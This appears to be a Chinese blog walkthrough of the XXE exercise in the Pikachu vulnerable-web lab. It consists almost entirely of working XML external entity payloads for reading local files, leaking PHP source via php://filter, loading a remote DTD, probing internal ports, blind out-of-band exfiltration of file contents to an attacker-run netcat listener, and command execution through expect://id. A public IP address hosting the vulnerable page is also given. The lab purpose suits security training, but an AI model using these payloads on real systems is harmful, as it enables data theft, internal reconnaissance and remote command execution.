Pikachu-XXE靶场(注入攻击)

1.攻击测试

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a" > ]>
<foo>&xxe;</foo>

2.查看文件

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///E:/phpStudy/PHPTutorial/WWW/flag/flag.txt" > ]>
<foo>&xxe;</foo>
复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

3.查看源码

复制代码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=E:/phpStudy/PHPTutorial/WWW//1.php" > ]>
<foo>&xxe;</foo>

去base64解码

4.DTD外部调用

复制代码
<!ENTITY evil SYSTEM "file:///c:/windows/system.ini" >
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.3.243/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>

5.探测内网存活主机与开放端口

复制代码
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "http://127.0.0.1:80" > ]> <x>&rabbit;</x>
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY rabbit SYSTEM "mysql://127.0.0.1:3306" > ]> <x>&rabbit;</x>

6.无回显探测

复制代码
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.131.128:8888/?%file;'>">%start;

虚拟机ip

复制代码
nc -lvvp 8888  //开启监听
复制代码
<?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.3.243/123.dtd"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///E:/phpStudy/PHPTutorial/WWW/flag/flag.txt"> %remote; %send;]>

得到base64编码去解码

7.命令执行

IP:106.52.18.106:8765/vul/xxe/xxe_1.php

复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
相关推荐
数据智能老司机5 小时前
CockroachDB权威指南——CockroachDB SQL
数据库·分布式·架构
数据智能老司机6 小时前
CockroachDB权威指南——开始使用
数据库·分布式·架构
松果猿6 小时前
空间数据库学习(二)—— PostgreSQL数据库的备份转储和导入恢复
数据库
无名之逆6 小时前
Rust 开发提效神器:lombok-macros 宏库
服务器·开发语言·前端·数据库·后端·python·rust
s9123601016 小时前
rust 同时处理多个异步任务
java·数据库·rust
数据智能老司机7 小时前
CockroachDB权威指南——CockroachDB 架构
数据库·分布式·架构
hzulwy7 小时前
Redis常用的数据结构及其使用场景
数据库·redis
程序猿熊跃晖7 小时前
解决 MyBatis-Plus 中 `update.setProcInsId(null)` 不生效的问题
数据库·tomcat·mybatis
Three~stone9 小时前
MySQL学习集--DDL
数据库·sql·学习
Qi妙代码9 小时前
MYSQL基础
数据库·mysql·oracle